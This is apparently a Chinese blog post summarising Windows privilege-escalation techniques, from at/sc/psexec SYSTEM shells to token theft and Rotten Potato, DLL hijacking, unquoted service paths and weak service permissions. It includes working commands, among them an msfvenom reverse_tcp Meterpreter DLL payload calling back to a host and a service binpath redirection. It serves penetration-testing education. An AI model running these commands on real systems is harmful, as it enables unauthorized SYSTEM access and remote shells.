windows提权总结

目录

windows提权思维导图

Windows提权工具

vulmap

windows-exp-suggester

WindowsVulnScan

AT&SC&PS提权

AT命令提权

SC命令提权

PS命令提权

令牌窃取提权

烂土豆配合令牌窃取提权

进程注入提权

DLL 劫持提权

不带引号服务路径

不安全的服务权限


windows提权思维导图

windows提权总结_第1张图片

Windows提权工具

vulmap

vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。

windows-exp-suggester

这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。

WindowsVulnScan

这是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免的错误,采用哈希算法确保数据不重复插入。

  1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中
  2. 查找特定CVE网上是否有公开的EXP
  3. 利用powershell脚本收集主机的一些系统版本与KB信息
  4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE

AT&SC&PS提权

AT命令提权

at 命令提权的原理:at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限。

适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除,当我们拿到一个低权限的用户,通过3389端口远程连接上后,可以通过at命令来进行本地提权

AT提权命令:at 15:13 /interactive cmd.exe(在15:13分生成一个交互式的System权限的cmd)

SC命令提权

命令介绍:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

适用版本:windows 7、8、03、08、12、16

提权命令:这个sc Create syscmd binPath= "cmd /K start" type= own type= interact其中systcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。#这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口。所以命令的意思是创建一个叫syscmd的新交互式的cmd服务,然后执行sc start syscmd 启动服务就得到了一个system权限的cmd环境

PS命令提权

微软官方工具包:PsTools - Sysinternals | Microsoft Learn

PS介绍:PsExec属于SysInternalSuite (一个windows的内核的套件)是其中一个工具,可以利用它进行提权。

适用版本:Win2003 & Win2008

PS提权命令:psexec.exe -accepteula -s -i -d cmd.exe

令牌窃取提权

令牌窃取提升——本地提权介绍:

进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

执行过程:获取会话——利用模块——窃取令牌——提权

适用版本:

Microsoft Windows XP Professional SP3 和之前版本

Windows Server 2003 SP2 和之前的版本

Windows Server 2003 x64 和 x64 SP2

Windows Server 2003(用于基于 Itanium 的系统 SP2 和先前版本)

Windows Server 2008 x32 x64 Windows Server 2008(用于基于 Itanium 的系统)

Windows Vista SP1 和之前的版本 Windows Vista x64 SP1 和之前的版本

令牌窃取提权命令:

  1. use incognito
  2. list_tokens -u
  3. impersonate_token "NT AUTHORITY\SYSTEM" (机器名\\用户名)

烂土豆配合令牌窃取提权

烂土豆提权原理:

  • 欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端
  • 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。
  • 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。

一般从Web拿到的WebShell 都是IIS 服务器权限,是具有这个模仿权限,使用菜刀反弹meterpreter就会成功

烂土豆&&热土豆

烂土豆比热土豆的优点:

  • 100%可靠
  • 全版本通杀
  • 立即生效,不用像hot potato 那样有时候需要等到Windows更新才能使用

通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌

非服务类用户权限无法窃取成功(原理) 过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取 SYSTEM-成功

上传后依次执行以下命令:

use incognito

执行potato.exe命令:list_tokens -u execute -cH -f ./potato.exe

list_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM"

进程注入提权

进程注入提权介绍:

进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在 windows2008 之前操作系统上。

进程注入提权工具:

pinjector进程注入工具——win2008 以前操作系统

pexec64 32进程注入工具——win2008 及后操作系统

DLL 劫持提权

原理:Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的 位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下 面的顺序进行搜索:

  1. 应用程序加载的目录
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. 当前工作目录 Current Working Directory,CWD
  6. 在 PATH 环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作 dll 并上传-替换 dll-启动应用后成功

命令如:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.22 lport=6677 -f dll > shell.dll

dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋

有第三方软件、有替换权限、管理员要运行这个软件

不带引号服务路径

不带引号服务路径配合 MSF-Web,本地权限

原理:当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。 过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功

检测引号服务路径安全命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

启动服务命令:sc start "服务名"

不安全的服务权限

不安全的服务权限配合 MSF-本地权限 原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有 过多的权限,例如,可以直接修改它导致重定向执行文件。

过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

accesschk下载:AccessChk - Sysinternals | Microsoft Learn

检测服务权限配置:accesschk.exe -uwcqv "administrators" *

更改服务路径指向:sc config "NewServiceName" binpath="C:\Program.exe"

重启服务调用:sc start "NewServiceName"

 

你可能感兴趣的:(提权,windows,系统安全,安全)